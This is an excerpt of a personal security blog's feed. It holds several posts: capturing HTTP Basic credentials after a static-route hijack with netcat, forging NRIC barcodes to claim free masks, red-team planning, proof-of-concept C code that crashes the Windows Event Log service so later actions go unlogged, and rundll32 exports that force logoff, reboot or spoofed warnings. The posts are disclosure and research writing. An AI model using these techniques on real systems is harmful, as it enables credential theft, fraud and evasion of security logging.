&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Using tracert, we verify that the static route has taken precedence and we have managed to hijack 1.2.3.4. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;
&lt;span class="normal"&gt;9&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Users\Benjamin&amp;gt;&lt;/span&gt;tracert 1.2.3.4

&lt;span class="go"&gt;Tracing route to 1.2.3.4&lt;/span&gt;
&lt;span class="go"&gt;over a maximum of 30 hops:&lt;/span&gt;

&lt;span class="go"&gt;  1    &amp;lt;1 ms    &amp;lt;1 ms    &amp;lt;1 ms  192.168.1.1&lt;/span&gt;
&lt;span class="go"&gt;  2    &amp;lt;1 ms    &amp;lt;1 ms    &amp;lt;1 ms  1.2.3.4&lt;/span&gt;

&lt;span class="go"&gt;Trace complete.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;With netcat listening on port 80, we managed to capture HTTP Basic Authentication credentials.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# Client
C:\Users\Benjamin&amp;gt;curl http://user:pass@1.2.3.4

# Server
$ nc -lvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from 192.168.1.10 6429 received!
GET / HTTP/1.1
Host: 69.26.177.58:80
Authorization: Basic dXNlcjpwYXNz
User-Agent: curl/7.55.1
Accept: */*

$ echo dXNlcjpwYXNz | base64 -d
user:pass
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category><category term="Server"></category></entry><entry><title>Authenticating with NRIC numbers v2</title><link href="https://limbenjamin.com/articles/authenticating-with-nric-numbers-v2.html" rel="alternate"></link><published>2020-05-24T19:59:00+08:00</published><updated>2020-05-24T19:59:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-05-24:/articles/authenticating-with-nric-numbers-v2.html</id><summary type="html">&lt;p&gt;4 years ago, I wrote about &lt;a href="https://limbenjamin.com/articles/authenticating-with-nric-numbers.html"&gt;why we should not use NRIC numbers for authentication&lt;/a&gt;. Unfortunately, this mistake was repeated and it can be exploited today to claim free masks from the government. &lt;/p&gt;
&lt;p&gt;This &lt;a href="https://www.youtube.com/watch?v=1ZPLy2FvrIg"&gt;video&lt;/a&gt; shows the exact process to claim one free mask per NRIC. Unfortunately, there is no …&lt;/p&gt;</summary><content type="html">&lt;p&gt;4 years ago, I wrote about &lt;a href="https://limbenjamin.com/articles/authenticating-with-nric-numbers.html"&gt;why we should not use NRIC numbers for authentication&lt;/a&gt;. Unfortunately, this mistake was repeated and it can be exploited today to claim free masks from the government. &lt;/p&gt;
&lt;p&gt;This &lt;a href="https://www.youtube.com/watch?v=1ZPLy2FvrIg"&gt;video&lt;/a&gt; shows the exact process to claim one free mask per NRIC. Unfortunately, there is no 2FA. The claimant does not have to enter date of birth or any other particulars to verify his identify, he just needs to scan his NRIC. The NRIC uses the Code 39 barcode specification and the checksum algorithm is public so anyone can generate loads of them. As proof, I have generated the first 16 NRICs starting with S900000XX.  &lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Disclaimer&lt;/p&gt;
&lt;p&gt;This post is for educational purposes only. As proven, the same mistakes are made time and again, education is necessary. Please do not use this method to fradulently claim masks, I am not responsible for any actions taken against you.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img alt="nric barcodes" src="//limbenjamin.com/media/nric_barcodes.png"&gt;&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;Apparently, it has now become a trend.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="nric barcodes" src="//limbenjamin.com/media/free_masks_police.png"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Intelligence-led Red Teaming</title><link href="https://limbenjamin.com/articles/intelligence-led-red-teaming.html" rel="alternate"></link><published>2020-05-07T22:46:00+08:00</published><updated>2020-05-07T22:46:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-05-07:/articles/intelligence-led-red-teaming.html</id><summary type="html">&lt;p&gt;When conducting Red Team attacks, I believe it is important to use an intelligence-led approach when doing scenario planning. This is sometimes also known as threat actor emulation. Such an approach involves doing prior background research on the threat actors targeting that specific industry, choosing a threat actor to emulate …&lt;/p&gt;</summary><content type="html">&lt;p&gt;When conducting Red Team attacks, I believe it is important to use an intelligence-led approach when doing scenario planning. This is sometimes also known as threat actor emulation. Such an approach involves doing prior background research on the threat actors targeting that specific industry, choosing a threat actor to emulate, studying the TTPs used by the actor, and finally emulating the actor as closely as possible when performing the attack. This results in an attack that is realistic and is likely to closely match what the organization faces on a day to day basis, thus allowing for an accurate assessment of the detection, containment and remediation capability of the blue team.&lt;/p&gt;
&lt;p&gt;The opposite of this approach is threat actor simulation, where a red team simply simulates an adversary without doing prior background research. The red team will be free to use any TTPs desired. The issue with this approach is that the red team will have a tendency to use the most sophisticated techniques available, i.e. fileless malware, memory injection, so as to avoid detection. Upon completion of the exercise, the blue team will then be tasked to focus efforts on detecting these sophisticated techniques. In reality, the threat actors targeting that industry may not be as sophisticated and the techniques they use may end up flying under the radar because the blue team has been so focused on these sophisticated techniques. Not every industry is targeted by state sponsored attackers. Without adequate background research, you may end up preparing for the wrong attack.&lt;/p&gt;
&lt;p&gt;It may seem cool for Red Teamers to pick locks, clone access cards or social engineer security guards to gain entry into buildings. However, if we do &lt;a href="https://www.todayonline.com/singapore/lookback-past-bank-robberies-rarity-singapore"&gt;background research&lt;/a&gt; on physical attacks targeting say the financial industry in Singapore, we would realise that none of the bank robbers in the past 20 years has picked a lock, cloned a card or social engineered anyone. They simply walk into the bank with a weapon or claim that they have one. These sophisticated attacks are as unrealistic as James Bond rappelling down from a helicopter straight into a bank vault with motion detecting sensors. &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Crash Windows Event Logging Service</title><link href="https://limbenjamin.com/articles/crash-windows-event-logging-service.html" rel="alternate"></link><published>2020-03-22T17:33:00+08:00</published><updated>2020-03-22T17:33:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-03-22:/articles/crash-windows-event-logging-service.html</id><summary type="html">&lt;p&gt;While trying to write an undetectable event log cleaner, I delved into the NTAPIs to try to prevent Event ID 1102 from being created. In the process, I stumbled upon a way to crash the Windows Event Logging service. This is interesting because crashing the logging service would mean that …&lt;/p&gt;</summary><content type="html">&lt;p&gt;While trying to write an undetectable event log cleaner, I delved into the NTAPIs to try to prevent Event ID 1102 from being created. In the process, I stumbled upon a way to crash the Windows Event Logging service. This is interesting because crashing the logging service would mean that further adversary actions will not be logged. Hence, this would come in useful for a red team exercise. I am aware of &lt;a href="https://artofpwn.com/phant0m-killing-windows-event-log.html"&gt;Phant0m&lt;/a&gt;, which kills threads belonging to Windows Event Logging service to achieve the same effect. It is an excellent technique and is probably stealthier than this, however it does use &lt;code&gt;OpenThread&lt;/code&gt; and &lt;code&gt;TerminateThread&lt;/code&gt; which might seem suspicious when executed on &lt;code&gt;svchost.exe&lt;/code&gt;. Nevertheless, it doesn't hurt to have more than 1 method. Hence, I am publishing this write up.&lt;/p&gt;
&lt;p&gt;Windows Event Logging service will crash with an Access Violation when advapi32.dll!ElfClearEventLogFileW is called with a handle obtained from advapi32.dll!OpenEventLogA. By default, The service is restarted after the first and second failure only. Hence an adversary can crash the service 3 times after which he is able to execute further malicious commands without being logged. The fail count will be reset after 1 day by default.&lt;/p&gt;
&lt;p&gt;POC code has been uploaded to &lt;a href="https://github.com/limbenjamin/LogServiceCrash"&gt;github&lt;/a&gt;. MSRC's response is that this case does not meet the bar for servicing in a security update because this vulnerability requires administrator privileges to execute, meaning this exploit does not cross a security boundary. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;quot;stdafx.h&amp;quot;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;winbase.h&amp;gt;&lt;/span&gt;

&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VERSION_NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eventlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eventlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OpenEventLogA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Security&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ElfClearEventLogFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eventlog&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;65000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eventlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OpenEventLogA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Security&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ElfClearEventLogFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eventlog&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;125000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eventlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OpenEventLogA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Security&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ElfClearEventLogFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eventlog&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The exact crash is caused by an OOB memory read. I don't think it is exploitable beyond denial of service.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;System info:

    OS_VERSION:  10.0.18362.1
    BUILDLAB_STR:  19h1_release
    OSPLATFORM_TYPE:  x64
    OSNAME:  Windows 10

Crash Details:

    wevtsvc!PerformClearRequest+0x164:
    00007ff9`144d0970 4d8b4908        mov     r9,qword ptr [r9+8] ds:00000000`00000008=????????????????

    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 00007ff9144d0970 (wevtsvc!PerformClearRequest+0x0000000000000164)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 0000000000000000
       Parameter[1]: 0000000000000008
    Attempt to read from address 0000000000000008

    PROCESS_NAME:  svchost.exe
    READ_ADDRESS:  0000000000000008 
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    EXCEPTION_CODE_STR:  c0000005
    EXCEPTION_PARAMETER1:  0000000000000000
    EXCEPTION_PARAMETER2:  0000000000000008
    GROUP:  LocalServiceNetworkRestricted
    FAULTING_SERVICE_NAME:  EventLog

    STACK_TEXT:  
    00000050`fd87ebc0 00007ff9`1446ef7c : 00000000`00000000 00000050`fd87ed00 000001ef`ae433960 00000000`00000000 : wevtsvc!PerformClearRequest+0x164
    00000050`fd87ec70 00007ff9`144e461d : 00000000`00000000 00000000`00000000 000001ef`ae433960 00007ff9`1d01fc2c : wevtsvc!ElfPerformRequest+0x6534c
    00000050`fd87ecc0 00007ff9`1bc26953 : 000001ef`af397c90 00000000`00000000 00000000`00000002 00007ff9`144eb8f0 : wevtsvc!ElfrClearELFW+0x26d
    00000050`fd87edc0 00007ff9`1bc8a036 : 00007ff9`144eac00 00000000`00000000 000001ef`00000000 00007ff9`00000000 : rpcrt4!Invoke+0x73
    00000050`fd87ee10 00007ff9`1bbe7a4c : 0067006f`006c0074 00007ff9`0000005d 000001ef`af3f4090 00007ff9`1d01fc2c : rpcrt4!Ndr64StubWorker+0xb56
    00000050`fd87f4b0 00007ff9`1bc048c8 : 000001ef`00000001 00007ff9`1bbd816e 00000050`fd87f6a8 00000000`00000001 : rpcrt4!NdrServerCallAll+0x3c
    00000050`fd87f500 00007ff9`1bbdc921 : 00000050`fd87f819 00007ff9`144eaea8 00000050`fd87f6f0 00000000`00000001 : rpcrt4!DispatchToStubInCNoAvrf+0x18
    00000050`fd87f550 00007ff9`1bbdc1db : 000001ef`ae441b50 00000000`00000001 00000000`00000000 00007ff9`1bc9fca4 : rpcrt4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
    00000050`fd87f630 00007ff9`1bbca86f : 00000050`fd87f7d0 000001ef`af6ad8b0 00000000`00000000 00000000`00000000 : rpcrt4!RPC_INTERFACE::DispatchToStub+0xcb
    00000050`fd87f690 00007ff9`1bbc9d1a : 00000000`000a147a 00000000`00000001 00000000`00000000 000001ef`af69e1c0 : rpcrt4!LRPC_SCALL::DispatchRequest+0x31f
    00000050`fd87f770 00007ff9`1bbc9301 : 00000000`00000002 000001ef`00000000 000001ef`00000000 00000000`00000000 : rpcrt4!LRPC_SCALL::HandleRequest+0x7fa
    00000050`fd87f870 00007ff9`1bbc8d6e : 00000000`00000000 00000000`00000000 00000000`00000001 000001ef`ae429d90 : rpcrt4!LRPC_ADDRESS::HandleRequest+0x341
    00000050`fd87f910 00007ff9`1bbc69a5 : 00000000`00000001 000001ef`af1b87a0 000001ef`ae429e98 00000050`fd87fd58 : rpcrt4!LRPC_ADDRESS::ProcessIO+0x89e
    00000050`fd87fa50 00007ff9`1d01346d : 00000000`00000000 00000000`00000000 000001ef`af1f7220 00000000`00000000 : rpcrt4!LrpcIoComplete+0xc5
    00000050`fd87faf0 00007ff9`1d0141c2 : 000001ef`ae43ca50 00000000`00000000 000001ef`ae402340 00000000`00000000 : ntdll!TppAlpcpExecuteCallback+0x14d
    00000050`fd87fb40 00007ff9`1c9c7bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!TppWorkerThread+0x462
    00000050`fd87ff00 00007ff9`1d04ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
    00000050`fd87ff30 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Interesting DLL exports</title><link href="https://limbenjamin.com/articles/interesting-DLL-exports.html" rel="alternate"></link><published>2020-03-12T10:24:00+08:00</published><updated>2020-03-12T10:24:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-03-12:/articles/interesting-DLL-exports.html</id><summary type="html">&lt;p&gt;Found a couple of interesting DLL exports while hunting for LOLBAS. Most of these have not been documented as far as I know. There are potentially a lot more out there, the system was behaving strangely when enumerating the list of exports. Unfortunately, I do not know of a good …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Found a couple of interesting DLL exports while hunting for LOLBAS. Most of these have not been documented as far as I know. There are potentially a lot more out there, the system was behaving strangely when enumerating the list of exports. Unfortunately, I do not know of a good way to determine the effect a command has on a system. It is trivial for obvious cases like logoff or reboot, or if the export name is descriptive, e.g. DnsFlushResolverCache. It can be challenging in other cases.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;# Logoff&lt;/span&gt;
&lt;span class="go"&gt;rundll32 userinitext.dll,ProcesRemoteSessionInitialCommand&lt;/span&gt;

&lt;span class="go"&gt;# Reboot&lt;/span&gt;
&lt;span class="go"&gt;rundll32 BdeHdCfgLib.dll,BdeCfgRestart&lt;/span&gt;

&lt;span class="go"&gt;# ipconfig /flushdns&lt;/span&gt;
&lt;span class="go"&gt;rundll32 dnsapi.dll,DnsFlushResolverCache&lt;/span&gt;

&lt;span class="go"&gt;# App incompatibility warning message - Text injection/Content Spoofing&lt;/span&gt;
&lt;span class="go"&gt;rundll32 FirewallControlPanel.dll,ShowWarningDialog C:\Windows\System32\T3xt_1nj3ct10n.exe&lt;/span&gt;
&lt;span class="go"&gt;rundll32 FirewallControlPanel.dll,ShowWarningDialog C:\Windows\System32\cmd.exe&lt;/span&gt;
&lt;span class="go"&gt;rundll32 FirewallControlPanel.dll,ShowWarningDialog &amp;quot;C:\ProgramData\Microsoft\Windows Defender\platform\4.18.1911.3-0\MsMpEng.exe&amp;quot;&lt;/span&gt;

&lt;span class="go"&gt;# Install inf files&lt;/span&gt;
&lt;span class="go"&gt;# Have not been able to weaponize it&lt;/span&gt;
&lt;span class="go"&gt;rundll32 printui.dll,PrintUIEntry&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image" src="https://limbenjamin.com/media/text_injection.png"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Expanding on Pyramid of Pain</title><link href="https://limbenjamin.com/articles/expanding-on-pyramid-of-pain.html" rel="alternate"></link><published>2020-03-01T13:07:00+08:00</published><updated>2020-03-01T13:07:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-03-01:/articles/expanding-on-pyramid-of-pain.html</id><summary type="html">&lt;p&gt;I believe most threat hunters would already be familiar with the Pyramid of Pain. Most hunters aim to detect artefacts and tools, as they are higher up the pyramid. However, there is scarce information available to guide them in doing so. Using my red team knowledge, I would like to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I 